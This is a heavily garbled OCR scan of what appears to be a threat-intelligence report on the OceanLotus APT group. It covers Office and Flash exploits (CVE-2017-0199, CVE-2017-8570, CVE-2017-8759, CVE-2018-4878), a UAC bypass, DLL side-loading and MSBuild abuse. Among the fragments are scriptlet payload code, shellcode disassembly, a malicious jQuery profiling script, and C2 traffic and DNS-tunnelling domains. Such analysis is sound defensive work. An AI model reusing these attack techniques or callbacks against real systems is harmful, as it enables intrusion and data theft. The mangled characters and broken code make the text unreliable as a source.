<€000004c8  0x00000004 Dataltem_Uln TETEE - sidRight OXFFFFFFFF o
AT (HBH0BH0T il enny i e itk [T [
00000400 0x00000010 CLSID o & ceidThis 0]
000004¢0 0x00000004 Dataltem Ulnt S Userflags ox0 [

v

"

iafien U

fteni Unit
sstioni Ui

X sty Vb
00000800 | 0x000000f0 | Dataltem Uy [l

il

S (A

OFESShire i or

00 31
30 00 2F
74 00 2E
oo o0 oo 00 00 0O
00 00 0D 00 0D
00 00 00 79 58

43 CVE-2017-0199/CVE-2017-8570 4

@ T~ 7 y AbsoluteSourceMonikerStream T
00AAO04BA90B} W CLSID" v URL MonikerA

SR e oniker]

- Mudiiy Ve

[ {79EACOEO-BAF9-11CE-8C82-

‘q CLSID: 79EACSE@-BAF9-11CE-SCE2-88A
— LHL MoK

InProcserver32: C:

Faedinnt?

ABB4BATED h

44 CVE-2017-0199/CVE-2017-8570 4

[ URL Moniker /4 A R
Wk

A

7 Ty
1 (Media-Type Negotiation)
text/plain

Tw

L Moniker

Content-Type

W



CVE-2017-0199 5 pHW b "A F Ty : \ T hta

w t a Office mshta.exe(HTA Moniker ) hta @ [

hta b Y K 9 A

Transport-Provided

Tr ook, L iNeoatocolEnncificl

| = DS
LSRR

Clieat-Provided =

IR 2P el |

i ?-“'Ui' sy asims | ICOIFE e vered
b R e 1 s S TR i e
B o — |
- I ‘ ' ‘ ' ‘ ra— '
Lo |
] o . !
¢ I._Ti"l P teeiv 3
i P ¥ | Birn 1
wjbes —=1| omen s
ded Syoiat - PeDvi
45 CVE-2017-0199/CVE-2017-8570 4 I 5€
URL Moniker ~ File Moniker3~™ y o 3 L A File Moniker w 0
GetClassFile 0 COM ® CLSIDA
GetClassFile @ WOw b _ o - Y T
b TP ) CLSIDA
CVE-2017-0199 File Moniker .sct ® ~ w 0 Script Moniker
s v esct pT p A
s~ CVE-2017-0199 Y PPSX Bu A ppt/slides N XML e
T e - - rels o T A

name="Document" - progLd="|

3" - name="Document" - progLd="| ocument.12" -r:id="rId3">

46 CVE-2017-0199/CVE-2017-8570 4 I 6€

ppt/slides/ _rels  rels T @ y A

47 CVE-2017-0199/CVE-2017-8570 4 r 7€

XML B T~ verb b y” [ A



48 CVE-2017-0199/CVE-2017-8570 4

I 8€

G CVE-2017-0199 k ~ 03w b FilterActivation LA H~
2, HTA Moniker Script Moniker  CLSIDA W b A
3 @ Tw Composite Moniker 0 Scriptlet Moniker 0 ¢ Iy
4 CVE-2017-8570 A
44 RTF-OLEChject.ss |44 RTF-OLEObject.ss
EiE) RTF-OLEObject.ss As HEX | AsText | AsPicture | As RTF | as HTML
?Lj ngnh 02200000000 0100 Q002 0500 0000 0100 Q000 Q000 0000 | ... ... ...
?Lj Ommh 02200000010 0000 0000 0000 0000 COO0O0 Q000 0502 0000 | .. ...
02200000020 0000 0000 CO0O0 0000 0000 004 OQOZOO0 0000 | ... ... ... F....
0200000030 0302 0000 0000 0000 COO0O0 Q000 Q000 0048 | .. ... ..o F
0200000040 0000 1AR00 0000 S5CSC 3132 37ZE Z20ZE 20ZE | ...... WAW1IZT7.0.0
0x00000050 315C €324 5C74 5C74 €573 T4ZE 7363 7400 lhvcshvthtest.sct
0x000000&0 0EQD ADDE 0000 0000 0000 0000 0000 0000 | ...t
0x00000070 Q0000 Q000 0000 0000 32300 0000 3200 0000 | ........ 8...2...
0200000080 Q0300 5C00 SCO0 3100 3200 3700 ZEOQO 3000 WoholoZoT7...0
0200000050 ZEOD 32000 ZEOO 3100 5C00 €300 Z400 5C00 Q... 1l.Nv.oc.F.h
0200000020 7400 5C00 7400 €500 7300 7400 ZEQO0 7300 t.\v.t.e.s.t...5
022000000B0 €300 7400 CEAF ABEC 157F D211 S73E 0000 [
022000000C0 Fa7s5 TEZ Q0000 0000 0000 Q000 0000 0000 Suaed L
022000000D0 0000 0000 0000 0000 0000 0000 FFFF FFEFF | ... ... ... ... ...
02x000000EQ 0€e0% 0200 0000 0000 COO0O0 Q000 Q000 0048 | .. ... F
0x000000F0 0000 0000 FEFFF FFFF 0000 0000 0000 0000 | - ...
0x00000100 S0€€ €0R€ 37B5 DZ01l 0000 Q000 QOO0 0000 SET LT L.
0x00000110 I
49 CVE-2017-0199/CVE-2017-8570 4 I o€
3t W 2 W CLSID Composite Moniker W @
URL/File Moniker W New Moniker .sct b Scriptlet Moniker £
FilterActivation L A
o . o . -
3 0/ [ A A

CVE-2017-8759

\j ¥

l.']

3t 0 Lt [He
wsdlparser.cs T A



R171 L if [ eprnactliRle 1= A1)

ch Ammandl S ndan+a N

~ (int 1=@; i<_connectURLs.Count; i++)

sb.Length = @;
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sb.Ap
sb.Ap
sb.Ap
¥
textWrite

{
6181
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6183
6184
ly the first location is used, the rest are commented out in the proxy 6185
pend("//base.ConfigureProxy(this.GetType(), "); 6186
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internal static string IsValidurl(string value)
{
if (!System.Runtime.Remoting.Configuration.AppSettings.AllowUnsanitizedWSDLUrls)
{
return WsdlParser.TransliterateString(value);
1
if (value == null)
{
Peturn "\"\"";
¥

vsb.Length= 8;
vsb.Append("@\"");

for (int i=@; i<value.lLength; i++)

{

else

vsb.Append(value[i]);

¥

vsb.Append("\"");
return vsb.ToString();
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{
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sb.Append("\\u");
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sb.Append("\"");
return sb.ToString();

}
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WinExec(*'cmd /c %TMP%\task.bat) D A

Baj tmpnycm2r
Y OCompObj
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(3) CVE-2018-4878

0x00000000
0x00000010
0x00000020

As HEX | AsText ]’ As Picture ] AsRTF | asHTML
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0 CVE-2018-

T ~ =Wa Shockwave Flash v 0 CVE-2018-4878
W "cmd.exe /c %TEMP%\task.bat” D A
EI{E) tmp5ei37f As HEX | As Text ]’As Picture ] AsRTF [ as HTML
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® OceanLotus APP ¢ Google




() @gmail.com

wants to

4

B View your contacts

®  View the activity history of your Google

apps

Allow

to do this?

S

Read, send, delete, and manage your email @

®
®

dUOITm

accordance to thmr terms of service and privacy policies. You can
remove this or any other app connected to your account in

My Account
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FHEEHI\HKEY_LOCAL MACHINE\SOFTWARE\Classes\mscfile\shel\openicommand

ms-availablenetworks ~ || =& e -

mscfile

Defaultlcon
shell

> Author
open

: command

RunAs
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- ~

z eventvwr.exe k \Y; 4 b UAC
2. ¢&vr BE
H DT~ a  Winword.exe wwlib.dllD 4
Winword.exe 4 Office Word h A Winword.exe w

wwlib.dll u Ty ¥ Wae DLL' %

< ©

k2?xm1 version=ri.on?>
J<package>
J<component
J<script lang
<! [CDATA[
Jfunction setversion() {

var shell = new ActiveXChject ('WScript.Shell'):

ver = "v4.0.30319';

lery

shell.RegRead ('HEKLMA\SCFIWARE\\Microsoft\\ .NETFramework\\v4.0.30319\\ "}
} catchie) {

ver = '"v2.0.50727"';

d="testCalc">

ge="JSeript">

shell.Environment ('Process') ('COMPLUS_Version') = wer;

function debug(s) {}

Jfunction baseé4ToStream(b) {
war enc = new ActiveXObject ("System.Text.ASCITEncading™):
var length = enc.GetByteCount 2 (b);
var ba = enc.GetBytes_4(b):
var transform = new ActiveXObject ("System.Security.Cryptography.FromBaseé4Transform”):
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new hotiveXObject ("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3):
ms.Position = 0;
return ms;
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shellcodew I} N W
shellcodew ~ f shellcode

Y W  shellcode
L CVE-2017-8759 !
W@ word A
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aa DeHup T~ #
MSBui Id LW
b D" STy
XML )
T c# q A

MSBuild.exe

@ G N Y XML

Visual Studio T b A
Ty W b~ L p =
H ~ MSBuild "H Task "H H

REG_EXPAND SZ  %SystemRoot¥\system32ymmec.exe 961" %*

>
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v}
>



Tw

Wae EXE

803B0BAAA

8083B0A2F

4.1.1.3

6

Y # H Task % 2 I = VRS

<Project DefaultTargets = "Compile"
x¥mlns="http://schemas.microsoft.com/developer/msbuild/2e83" >

«l-- Set the application name as a property --»
<PropertyGroup>

<appname>HellolorldCS</appname>
</PropertyGroup>
<!-- Specify the inputs by type and file name -->
<ItemGroup>

<CSFile Include = "consolehwesl.cs"/>
</ItemGroup>

<Target Name = "Compile"»

<!-- Run the visual C# compilation using input files of type CSFile --»
<C5C

Sources = "@(CSFile)"

OutputAssembly = "$(appname).exe">

<!-- Set the Cu'pu‘&ssemblw attribute of the CSC task

+n +hn nama + srbabla £31a thad fe mememdad s )
<Output
er = "OltputAssembly

"EXEFile™ />
</C50>
<!-- Log the file name of the output file --»
<Message Text="The-output fifle-is—@{EXEFile}"/>
fTarget>
</Projects
1
76 4 I 6€
wa  MSBuild W @ Powershell N Powershell

p~ 9 bi: 3 7T Y cec - LA

FC cld
E8 boeeepon call BB3BO606
] short oe3pBes2F
edx Consoled. 884816873
ecH,
edx,
esi,
esi,ecx kernel32.7C80189C
edx,
edx ntdll.KiFastSystemCallRet
ebp,
ebp,ecx kernel32.7C88189C

ecx,ebp

edx,

esi,

ebp,ebp

esi,ebp

short 8683BOB2C

short BB3BE6E616

BCx Consoled. 884816873
ecx kernel32.7C88189C

E8 D4FFFFFF call BB3BO608

D o T° W JavaScript 9 " . )
H ~ H 51 'V o I N

a ! p A
o T O [ JS Ne
r T jquery.min.js n = 9§ G JQuery

javascript® A

JS
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1" function’ (a, bj {

TEe StEict
var ¢ = [],
d = a.document,
= = ORisrr retrDeatarumeand |
sl
c.concat,
c.push,

c.index0f,

{1,

Jj.toString,
j.hasOwnProperty,
1.toString;
m.call (Cbisct),
i}

O H B b b
L A A T (A 1
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' , , Ne , DPI1,CPU ,CPU ,
,BuildID

JsHeapSizeLimit screen.colorDepth
! © cookie IP

T H o [c& +F Ad H N

: browserhash,

: array2ijson(window.listIP) .replace(/"/g,
{client}." };

: browserhash,

o ] BT gl =

dowzouterWidth :: Jvarn infa:: D SEEreEnawidsh

L

(SR B e e o e A

== T window.outerHeight .
Enakbled ™

S EE e Nar

*Java=Enakded™

S T——

~

Dp
JavaScript PayloadA

Cr:
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. navigator[ O0x€400[258]]1[_ 0xe400[2Z2c]] = {
activex: navigator[_0x6400[4011]1[_0x€400[34511(),
cors: navigator[ Ox6400[401]] [ _Oxe400[4Zc]11() .,
flash: navigator[ Oxe400[401]1]1[_ 0xe400[42Z7110) .
foxit: navigator[ 0x6400[401]11[_0xe400[425110),

Jjava: navigator[ O0=xe400[401]]1[_ 0xe400[4235]11 Q).
phonegap: navigator([ O0x6400[401]1]1[_0x6400[40511() .
quicktime: navigator[_ 0x6400[40111[_0x6400[42011().,
realplayer: navigator[ Ox6400[201]1][_0Oxe400[421]114() .,
silverlight: navigator[_0x6400[401]1]1[_0xe400[422110),
touch: navigator[ O0xé400[401]][_0x6400[422]110),
vbhbscript: navigator[ Ox€400[401]1][_0x6400[424110),
vlc: navigator[_ 0x6400[401]11[_0xe400[425110() .,
webrtc: navigator[ O0x€400[401]]1[ 0xed400[42c]]1(),
websocket: navigator[ 0x6400[40L1]1]1[_0Oxe400[427110).,
wmp: navigator[ O0Ox€400[401]11[_0x6400[422110)

. navigator[ O0=x€400[258]][_ 0xed400[225]] = {
width: screen[ 0x6400[246]11,
height: screen[ Ox€6400[245]11,
availWidth: screen[ 0=E6400[440]1],
availHeight: screen[_0=6400[441]],

S ETA b e I ZACETSA]  F o pnannr el RN O et e e e T R SO T T 0l e
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T wh NV [~ payload

ad. jqueryclick.com/117efea9-be70-5412-9336-893c5a0defal

"{"history":{"client title":"",
"client url®:" ",
cokie":"SIDE .

"client
APISID= ;
SAPISTID= ;
UULE= ;

3 DH ~ W wif FlashUpdate N \
ST N v ¥ w H A

L)
. 1 ) Installed complete.
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BB4B1EFE| . “http://80.255.3_189/Ff1as™
@B4A1F7F| . FF7h24 24

Jriee e | . . e e e oo g T

¢ S5 L[RTp Y
dword ptr ss:[esp+8xiC]
duword ptr ss:[esp+Bx46C]
duord ptr ss:[esp+8x8]
-dword ptr ss:[esp+8x8]

83 4 I 13€

~ 3" Shellcode q A" shellcode "~y [Wa dll »

edi BOFCA83Cc
edx,

edi,

ebp,

ebp,edx

edi,

edi

ecx,

ecy,edx

edx,ecx
edi,
ebp,
XOF BCX,BCX
cmp ebp,ecx
short BBFCOB2C
short BBFCOB16
edx BBFCB83C
M edx
call BBFCHBBB
aas
salc
mov esp,

edx=5EEA4763

Hirht HEX ¥iE ~ 8012FaF 0 EEELED
9OFCO000/FC ES 60 00l08 00 EB 27|5F 8B 17 83lc7 2 2 DE12FAFL| BOFCBBRG Zll 00FCO006
Tu i Ay - B g 1 . - it

A G =i




91848EC1| 33CH eax,eax
91648EC3| B8OBO 28600701

01048ECA| 4B inc eax

91648ECB| 3D 00108000 eax,
91048EDB|" 7C F1 short 81848EC3
01048ED2| &8 00100000

[(REIEIEE) B9 280068761 mou ecx,Bx1070028
804424 14 lea eax,dword
ds:[81871828]=08 (Backspace)

61676148/ 00 60 00 6O 00 68 08 00
81878158 ( 80 B8 A0 8@ a8 83 a1 @@
1878168 (38 30 2E 32 2C 2F 73 2F|88.255.3.189,/s
81878178 |72 65 66 3D 73 73 5F 31| ref=nb_sb_noss_1

ar A, [ s

58 eax
FF75 F4 dword ptr ss:[ebp-8xG]
FF?75 FB dword ptr ss:[ebp-8x18]
E8 2BCOFFFF call B818835B5

eax

FF15 E8518281 kernel32.GetCurrentProcessId
el Ol et
ASCIT "%HdytHdyt%d.%dy\t%s\t%s\t%s\tT10806CA6| 68 DaCAB2G1
B1886CAB| 56 0.
B1@@acAc FF75 08 dword ptr ss:[ebp+8x8]
B1886CAF| EB FFDEl]l]l]l] call l]1l]1!|BBS

~ BB12F9DB
BOFAL4FS| 34 3[1 39 [19 31 39 39 36 [19 35 2E 31 [19 31 39 32| 489 .1996.5.1.192

~ 7 cC F O A



T LD
818682208
a18822p9
818822DF
818822E8
818822E2
8100822E3
810022E8
8100822E9
818822EF
8180822F5
8100822F6
818822FC

53
8D85 F4FAFFFF

EB ABGEOBOA
e

FF35 948003601
FF15 CA528281
e

8985 DBEEFFFF
E8 AEFBFFFF

lea eax,dword
EH]

edx
call 61008E8S8
EH]

call

eax
mov dword ptr
call 81881EAF

ptr ss:[ebp-8=56C]

ss:i[ebp-8x1128],eax

aacceaty

wininet.HttpOpenRequesth

ds:[818252C8]=771C2AF? (wininet.HttpOpenRequestA)

+ BA12E888 ETIHHTR
ASCIT "GET"

ASCIT "“/s/ref

0012E8BS
0012E8CS
8012E8DS
G012EBES
BB12E8F8
8012E908
8012E918
8012E928
8012E938
B012E948
8012E958
8012E968
8012E978
8012E988
A012E998
8012E9A8
8012E9B8
8812E9C8

Accept: =/*_._Hos
t: wwu.amazon.co
m..Cookie: skin=
noskin;session-t
oken=UGUHLixDITn
FUq1XEAppfOroFyk
eif/As/udpNZSBP6
YEmRB2rncq49cpmD
KHEnKw+chu9LrWin
mSoPplHYWGZ9RKSFQ
7uBBGbmnixBrLLIy
EYfgHsKRglgQaus?
Ka3tUbghx15C8a/ 1
j2xkqojapTdgZPbr
rnFuf8%ewbsSQUuju

ASCII "%s"

Host h

GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1

Host: www.amazon.com

Accept: */*

Cookie: skin=noskin;session-token=j+0t1@/XY2DGYF9s6V49Tsshl3Gg/vbLFRBExki/uxIje/ohailtmKquoUPBalGxxd+L+gdESDptlvhulyOryASkZrT
+L7MvQuiQTHN@3dHHBFXXa@nTVxQEDHL 3AUM+yoLYF161z4F8NbrGGCr8]a6S2tBHILribkCcY3ES I wd=csm-hit=s-24KU11BB82RZSYGI3BDK | 1419899012996
User-Agent: Mozilla/5.8® (Windows NT 6.1; WOWe4; Trident/7.8; rv:11.8) like Gecko

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 288 OK

Date: Wed, 15 Nov 2017 ©9:32:14 GMT

Server: Server

x-amz-id-1: THKUYEZKCKPGYS5T42PZT

x-amz-id-2: a2lyZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rimRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN

Content-Encoding: gzip
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41130"Te01l"ServicePackl™é.l1"WindowsTProfessional~7601. win?spl rtm.101119-1850
Aiﬁ ':Eﬁ qiﬁ ':Eﬁ r:—rhﬂnnn-‘n-.ﬂp\_ﬁ#:\ ":\_iﬁ wq‘_gr.;‘pq:'rm, Hw_ﬁ.

ThoTk “?-?--—r-—.-?-?-?--—r"'ak ok \,1; e (0
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4 T CHEC P 0 G L 0 o (L
nrﬁikr'* *:k ’?h:iHl— SRR

R S e RPN
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8A

SR e e Y T 0V [ [T L K X R T R el hann e s npeih Bl il e e
R S o
89 E| I 19€
DNS J Denis
Denis a W # DNSY D 0 3eaT A
W t
a. ) y v’ Base64 0 DNS F  8.8.8.
0 BotlID
4 (Queries
4 | AAAAAMAMAAAAAAAAAMAAAAANMANAAFKN . . teriava. com: type NULL, class IN
Name: AAAAAAAAAMAAAAAAAAAAAAAMAAAAMAFKN. Zz. teriava.com
. [Name , Lensth;. 461 .
Lol w DR o (L LT WL THL & 1!
P | F e e 1%
oA - - =i
41 41 41 41 41 41 41 4 Be3e 99 94
41 41 41 41 41 41 41 41 41 41 41 41 41 4 gade ENRENE
41 41 46 6b 4e 81 TFa @7 74 65 72 69 61 76 gase LNREEE
63 6Ff 6d BB B0 Ba 00 IR RGNS . COM. . . . . R fece [FNENE}
90 E| I 20€
b.C&C F BotlD' BotlD 2 zlib 4 41 T 789 A



4 Answers
4 AAAAAAAAAAMAAAAAAAAAAAAAAAAAATEM . 7 . teriava. com: type NULL, class IN
Mame: AAAMAAAAAAAAAAAAAAAAAAAAAAAALATgM. z. teriava. com

AT...PV_ Y E_

y a2 B8 5A  5A_f4_¢?_ Ed A8 AR 4% 88 .
-] 2 a a . E e R R

- e e. . FUELRR e L%sz:ﬁ W OD BT - G ol ac B_BE @ @l - ..
....... %MH—F ehﬁﬁ_ﬁlﬁﬁ_ﬁﬁ_ﬁﬁ_ﬁﬁjﬁ_ﬂl_ﬂlﬂlﬂlﬂiﬂhﬂhﬂﬂ

Tolay” Taday

B8 88 73 9¢ 6
15 @+ 82 83

5 61 68 68 d@ bb 39 35 89 01 Ba

91 4 I 21€

o 2E D9 95 624 Ox2ED99562 y  Denis C&C H we: BotIDA

C. Denis C&C O H ~ h ~ A ) zlib 4 P
Base64 A
4 Yueries
4 | LtmVYgQAAAAAAAE AAAAAAAAAAAAAATCY . AAAAADWAAAABAAAAE JwLc_ ULDdY1M]eyMHQy
Name: LtmVYgQAAAAAAAEAAAAAAAAAAAAAATCY . AAAAADWAALAABAAAAe JwLc_UILDdY]
[ Y [—— L -‘|J|':l'.|.—-'____I - - -
1 |
i T LtmVYQQAAAAAAAEAAAAAAAAAAAAAAICY Base64 H 2E D9 95 62 04 00 00 00
00 00 01 00 00 00" I 2E D9 95 62  BotlD I 04 00 00 00 00 00 01 00 00 0OL A

AAAAADWAAAABAAAAeJwLC_ULDAY IMjeyMHQydHRY TMnNzMssLi IKLMkvYnBiAA.gTOP_R2-
1VOMZGVKZNBKYGKAAWD7VA2H Base64 =~ P zlib 1~ W

Memory 2

Address: | 0x002EE3D0 - @

0z00ZEESD0 56 45 de 55 53 24 32 37 32 38 31 42 31 41 42 41 WVENUS-ZT2851E14B4 -
0x00ZEEZED B4 6d 69 fe 62 T3 T4 T2 61 T4 &f T2 00 42 00 00 dministrator.B..
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H ~ 0 o BotID Base64 A



4 Queries
4 LtmVYgAAAAAAAAMAAAAANAAAAMAAAATON . z . terliava. com: type NULL, class IN

Mame: LtmVYgAAAAAAAAAAAAAAAMAAAAMAATON., z . teriava.com
[Mame Length: 46]

88 68 B0 B8 68 o8
41 41 41 41 41 41
41 41 41 41 4a 4f
61 83 63 6f 6d @

8838
8848
Ba5a
Be6a

74 Bd 56 59 67 41 41 4]
41 41 41 41 41 41 41 41 41 4
Ja B7 74 65 72 69 61 76
B8 Ba ©6 81 B0 02 20 B8 B oe
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(A

enum CHDS
CHD _API_RUH
CHD FREE LIE
CHD PROC_START
CHD READ _FILE
CHD SHELL RES
CHD_HOHE
CHD WRITE
CHD_EHUM_WIHDOWS
CHD SET_REG
CHD REG
CHD_FIHD
CHDS_ HMOUE
CHD DELETE
CHD DRUS IHF
CHD CREATE_DIR
CHD_REMOUE
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2T R
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t” 76 00 w nmgg 6E 00 womegd  w W
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i w http v~ ] “i:roodns T v Wae IP A
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H W IP O POST  ~ host referer 2t ! dnsA
98 E| I 28€
i n oa W v loadera dIl' & shellcode A
loader w dll p v Adll - W rastlsc.exed
rastls.dl1& OUTLFLTR.DAT » A C:\Program Files\Symantec\Proxy\ X
Symantec " p Ai T rastlsc.exe Symantec p~ rastls.dll -
OUTLFLTR.DAT w# A rastls.dll  rastlsc.exe v N OUTLFLTR.DAT 4 dair

dil A loader Y4



V)

i I/L 0 " IC<Container

32>
5
33
L

type>.<UID>.<Container>.<Server address>A

V)

Y WNure'’
1C1_MFVTIN3MOMADQMJISGM2DKNRXHDAKR7WS . LHNZQWSJ IFBUSTKBJ51QGQICIMBUIBNAT51CGQLICIBL4B
LY5J5TCVAW. tt. lookfofo.com

i TIC ~ 1 Container type (4 Container Ng) :': D H A
Container type™ 1[ 4 A2 ) v v A3
] wA 4 D w AMFVTIN3MOMADQMJSGM2DKNRXHDAKR?WS~/1 uID
IP Base32 A
LHNZQWSJIFBUSTKBJ51QGQICIMBUIBNAT51CGQLICIBLABLYSJ5TCVAW M Container” 3 Base32
A’ y 1ACIMAOQ A
4. Salgorea 4
2015 10 W a " h T o D W i
w SalgoreaA 2017 w "7 a = powershellA (“pPpw W A
2015 ~ Salgorea N Word J6  © g Wi
p - " . " A Bundle.rdb o~ ~ [ msiexec.exe A
Bundle.rdb 3, Salgorea 9 dlIA
h w1
Y dll i FE
aQa- a:b p’
o p ' !
e Y H A
2017 